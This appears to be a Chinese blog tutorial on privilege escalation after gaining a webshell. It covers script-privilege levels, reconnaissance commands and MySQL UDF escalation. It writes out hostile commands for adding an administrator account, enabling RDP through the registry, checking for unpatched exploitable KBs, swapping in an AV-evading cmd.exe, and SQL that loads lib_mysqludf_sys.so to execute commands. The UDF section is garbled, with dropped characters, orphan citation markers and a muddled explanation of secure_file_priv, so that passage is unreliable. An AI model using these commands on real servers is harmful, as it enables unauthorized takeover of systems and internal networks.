001-提权基础

本文详细介绍了在获得网站webshell权限后,如何进行系统提权以控制整个服务器及内网渗透的方法。涵盖不同脚本类型权限对比、常见提权手段如数据库、溢出漏洞和第三方软件利用,以及在Windows和Linux环境下进行信息收集的具体命令。

拿到一个网站的webshell权限之后,可以控制整改网站,但是相对于整个系统来说权限较小。如果想要控制整个服务器,则需要进行系统提权,通过对此服务器的控制从而进一步渗透内网。通常来说,不同脚本类型的shell拥有的权限也不相同。通常脚本所处的权限:

ASP/PHP>网络服务用户,匿名权限
ASPX>普通用户,USER权限,可调用cmd.exe
jsp> 通常是系统管理员权限
  1. 脚本所处的权限取决于运行容器的用户身份。即:如果脚本以phpstudy/aspweb类似集成环境搭建的网站,拿下网站就是system管理员权限(在未降权的情况下)
  2. 在脚本允许的情况下可以变换脚本提权,即如果目标服务器支持多种脚本语言,可以选择权限高的脚本语言进行提权。如上:ASP/PHP (小于users)< ASPX(users) < JSP(system)
  3. 可以劫持高权限容器提权。例如一个服务搭建了iis和tomcat,拿到iis的shell在tomcat网站目录下写jsp shell可直接成功提权,或php shell写到phpstudy 网站目录下。
  4. 常见的提权方法有:数据库提权、溢出漏洞提权、第三方软件提权
  5. 在进行系统提权时,首先要对系统和整个网络环境进行信息收集。

信息收集

windows

ipconfig /all 
# 查看当前ip,内外网情况
net user 
# 查看当前服务器账号情况
netstat -ano 
# 查看当前服务器端口开放情况。查看内网IP信息
ver 
# 查看当前服务器操作系统
tasklist
# 查看进程,也可以直接到服务器软件默认安装目录查看
systeminfo 
# 查看当前服务器配置信息(补丁情况)(补丁300个是临界点,大于300补丁很难拿下服务器)
tasklist /svc 
#查看当前服务器进程情况
taskkill -PID pid号 
# 结束某个pid号的进程
taskkill /im qq.exe /f  
# 结束qq进程
net user test 123123 /add 
# 添加一个用户名为test密码为123123的用户
net localgroup administrators test /add 
# 将用户test添加到管理员组
net localgroup administrator
# 查看所有管理员组用户成员信息。查看用户创建时间,是否禁用
whoami 
# 查看当前操作用户(当前权限)
query user
# 查看登陆状态的用户
systeminfo | findstr OS 
#获取系统版本信息
hostname	
#获取主机名称
whoami /priv	
#显示当前用户的安全特权
quser、query user	
#获取在线用户
netstat -ano | findstr 3389	
#获取rdp连接来源IP
dir c:\programdata\ 
#分析安装杀软
wmic qfe get Caption,Description,HotFixID,InstalledOn	
#列出已安装的补丁
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber	
#获取远程端口号
tasklist /svc | find "TermService" + netstat -ano	
#获取远程端口
sc qc Mysql
#查看指定服务路径
mstsc /admin /v:127.0.0.1
#突破最大连接数
systeminfo>C:\Windows\Temp\temp.txt&(for %i in (KB977165 KB970483 KB3057191 KB3079904 KB3077657 KB3045171 KB2840221 KB3000061 KB2850851 KB2707511 KB2711167 KB2124261 KB2360937 KB2478960 KB2507938 KB2566454 KB2646524 KB2645640 KB2641653 KB944653 KB952004 KB971657 KB2620712 KB2393802 KB942831 KB2503665 KB2592799 KB956572 KB977165 KB2621440 KB3124280 KB3143141 KB3134228) do @type C:\Windows\Temp\temp.txt|@find /i "%i"|| @echo %i Not Installed!)&del /f /q /a C:\Windows\Temp\temp.txt
#查看漏洞补丁查询脚本
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal” “Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
# 开3389

linux

ls -al 
# 查看当前目录下的文件和文件夹
pwd 
#查看当前操作路径
uname -a 
#查看当前服务器内核信息
netstat -tnlp
# 看端口

其他

cmd命令无法执行可能

1.防护软件拦截>找免杀cmd
2.cmd被降权
3.组件被删除
4.虚拟主机无cmd调用
找可读写目录上传免杀cmd.exe,将执行的cmd.exe路径替换成上传的路径,再次调用执行。
5.换脚本/aspx/php调用cmd

### 关于 MySQL UDF 方法 #### 条件准备 为了成功实施基于MySQL的UDF(User Defined Function),需确保几个前条件被满足。这包括确认MySQL服务是以高限(如Windows下的System或Linux下的root)运行;该服务开启了必要的远程访问以及文件读写功能[^1]。 #### 获取必要限 攻击者不仅需要获取到具有足够限的数据库账户信息——即知晓管理员级别的用户名与密码组合来登录目标MySQL实例,还需要此账号具备执行`CREATE FUNCTION`语句的能力,这意味着至少要拥有对特定模式下表对象的操作利,比如`INSERT`和`DELETE`等限[^2]。 #### 验证安全设置 进一步地,在尝试加载自定义动态链接库(.dll/.so)前,应当检查服务器变量`secure_file_priv`的状态。如果其返回值为空(`NULL`),则意味着当前环境禁止任何形式的数据导入/导出示图,从而阻止了通过上传恶意共享对象实现本地至系统级特升的可能性[^3]。 #### 实施过程概述 一旦上述准备工作完成,可以按照如下方式继续: - 利用已有的管理限向指定位置上传特制的DLL/SO文件; - 创建一个新的存储函数指向这个外部资源; - 调用新建立的功能触发命令执行或其他形式的控制转移机制; 需要注意的是实际操作过程中涉及的具体技术细节会因操作系统差异而有所不同。例如在Linux环境中可能涉及到更复杂的路径处理及依赖关系解决等问题[^4]。 ```sql USE test; SELECT @@basedir INTO @base_dir; -- 查询基础目录 SET @cmd_func_name='do_system'; SET @output_file=CONCAT(@base_dir,'/',@cmd_func_name); -- 这里省略具体下载指令... CREATE FUNCTION do_system RETURNS STRING SONAME 'lib_mysqludf_sys.so'; ```
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值